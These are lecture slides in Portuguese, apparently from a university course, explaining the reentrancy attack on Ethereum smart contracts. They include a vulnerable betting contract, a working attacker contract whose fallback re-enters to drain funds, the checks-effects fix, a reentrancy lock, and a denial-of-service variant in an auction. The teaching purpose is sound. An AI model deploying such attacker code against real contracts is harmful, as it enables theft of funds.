Ataque Reentrância

Ivan Sendin

FACOM - Universidade Federal de Uberlandia
ivansendin@yahoo.com,sendin@ufu.br

8 de outubro de 2024

Mais Solidity

- `receive() external payable`
  É chamada quando alguem manda `ether` para um contrato
  `recebedor.call{value: 1}('');`
- `fallback() payable external`
  É chamada quando a função "chamada" não é encontrada. Consequencia: quando `receive` não existe

Existem várias formas de mandar `ether`

Mais Ethereum

Reforçando:

- Externally Owned Accounts (EOA)
  Controlada por uma SK, sem codigo associado, **inicia** transações
- Contract Accounts
  Código. Responde transações iniciados por EOA. Pode chamar outros contratos, criar novos contratos,....

Um contrato de aposta pode ser codificado assim:

```
function payBet() payable external {
  if (! hasPayed) {
      winner.call{value: 1}("");
      hasPayed = true;
    }
  }
```

Ao fazer o pagamento o contrato chama `fallback/receive` de `winner`...

```
contract reenterAttacker {
  reenterVictim vit;

  constructor(address _v) payable public {
    vit = reenterVictim(_v);
  }


  function startAttack() public {
    vit.payBet();
  }


  fallback() payable external{
    if (address(msg.sender).balance>0) {
      startAttack();
    }
  }
}
```

O contrato `reenterAttacker` vai drenar os recursos da vitima.
(Apenas tomar cuidado para não acabar o gas)

```
function payBet() payable external {
  if (! hasPayed) {
        hasPayed = true;
        winner.call{value: 1}("");
      }
    }
```

```
bool internal locked;

modifier noReentrant() {
    require(!locked, "No re-entrancy");
    locked = true;
    _;
    locked = false;
}
```

Um ataque parecido...

```
function bid() public payable {
  ...
  if (msg.value > winnerValue) {
    winner.call{value: winnerValue}("");
    winner =msg.sender;
    winnerValue = msg.value;
  }
 ...
```

O que acontece se algem colocar um loop infinito em `receive()` ?

- Alguem faz um lance maior...
- `bid` chama `receive()` do atual winner...
- A função nunca termina.
- O gas acaba
- A transação não finliza e é revertida
  O estado do contrato (variáveis) não é alterado
  O gas é pago
- O winner do atacante nunca será alterado

Reentrancy Vulnerability Identification in Ethereum Smart Contracts

Um dos poucos artigos sobre o assunto.